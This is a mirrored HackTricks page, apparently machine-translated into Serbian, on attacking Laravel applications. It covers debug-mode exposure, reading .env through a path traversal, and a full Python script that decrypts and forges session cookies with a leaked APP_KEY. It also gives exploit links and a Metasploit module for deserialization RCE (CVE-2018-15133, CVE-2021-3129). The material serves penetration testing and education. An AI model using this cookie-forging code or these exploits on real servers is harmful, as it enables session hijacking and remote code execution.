mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
126 lines
6.9 KiB
Markdown
126 lines
6.9 KiB
Markdown
# Laravel
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Laravel Tricks
|
|
|
|
### Debugging mode
|
|
|
|
Ako je Laravel u **debugging mode**, moći ćete da pristupite **kod** i **osetljivim podacima**.\
|
|
Na primer `http://127.0.0.1:8000/profiles`:
|
|
|
|
.png>)
|
|
|
|
Ovo je obično potrebno za iskorišćavanje drugih Laravel RCE CVE-ova.
|
|
|
|
### .env
|
|
|
|
Laravel čuva APP koju koristi za enkripciju kolačića i drugih akreditiva unutar datoteke pod nazivom `.env` koja se može pristupiti koristeći neku putanju za prolaz pod: `/../.env`
|
|
|
|
Laravel će takođe prikazati ove informacije unutar debug stranice (koja se pojavljuje kada Laravel pronađe grešku i aktivira se).
|
|
|
|
Koristeći tajni APP\_KEY Laravel-a možete dekriptovati i ponovo enkriptovati kolačiće:
|
|
|
|
### Decrypt Cookie
|
|
```python
|
|
import os
|
|
import json
|
|
import hashlib
|
|
import sys
|
|
import hmac
|
|
import base64
|
|
import string
|
|
import requests
|
|
from Crypto.Cipher import AES
|
|
from phpserialize import loads, dumps
|
|
|
|
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
|
|
|
|
def mcrypt_decrypt(value, iv):
|
|
global key
|
|
AES.key_size = [len(key)]
|
|
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
|
|
return crypt_object.decrypt(value)
|
|
|
|
|
|
def mcrypt_encrypt(value, iv):
|
|
global key
|
|
AES.key_size = [len(key)]
|
|
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
|
|
return crypt_object.encrypt(value)
|
|
|
|
|
|
def decrypt(bstring):
|
|
global key
|
|
dic = json.loads(base64.b64decode(bstring).decode())
|
|
mac = dic['mac']
|
|
value = bytes(dic['value'], 'utf-8')
|
|
iv = bytes(dic['iv'], 'utf-8')
|
|
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
|
|
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
|
|
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
|
|
return ''
|
|
|
|
|
|
def encrypt(string):
|
|
global key
|
|
iv = os.urandom(16)
|
|
#string = dumps(string)
|
|
padding = 16 - len(string) % 16
|
|
string += bytes(chr(padding) * padding, 'utf-8')
|
|
value = base64.b64encode(mcrypt_encrypt(string, iv))
|
|
iv = base64.b64encode(iv)
|
|
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
|
|
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
|
|
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
|
|
|
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
|
key = base64.b64decode(app_key)
|
|
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
|
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
|
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
|
```
|
|
### Laravel Deserialization RCE
|
|
|
|
Ranljive verzije: 5.5.40 i 5.6.x do 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
|
|
|
Ovde možete pronaći informacije o ranjivosti deserializacije: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
|
|
|
Možete je testirati i iskoristiti koristeći [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
|
Ili je takođe možete iskoristiti sa metasploit-om: `use unix/http/laravel_token_unserialize_exec`
|
|
|
|
### CVE-2021-3129
|
|
|
|
Još jedna deserializacija: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
|
|
|
### Laravel SQLInjection
|
|
|
|
Pročitajte informacije o ovome ovde: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
|
|
|
{% hint style="success" %}
|
|
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Podržite HackTricks</summary>
|
|
|
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
{% endhint %}
|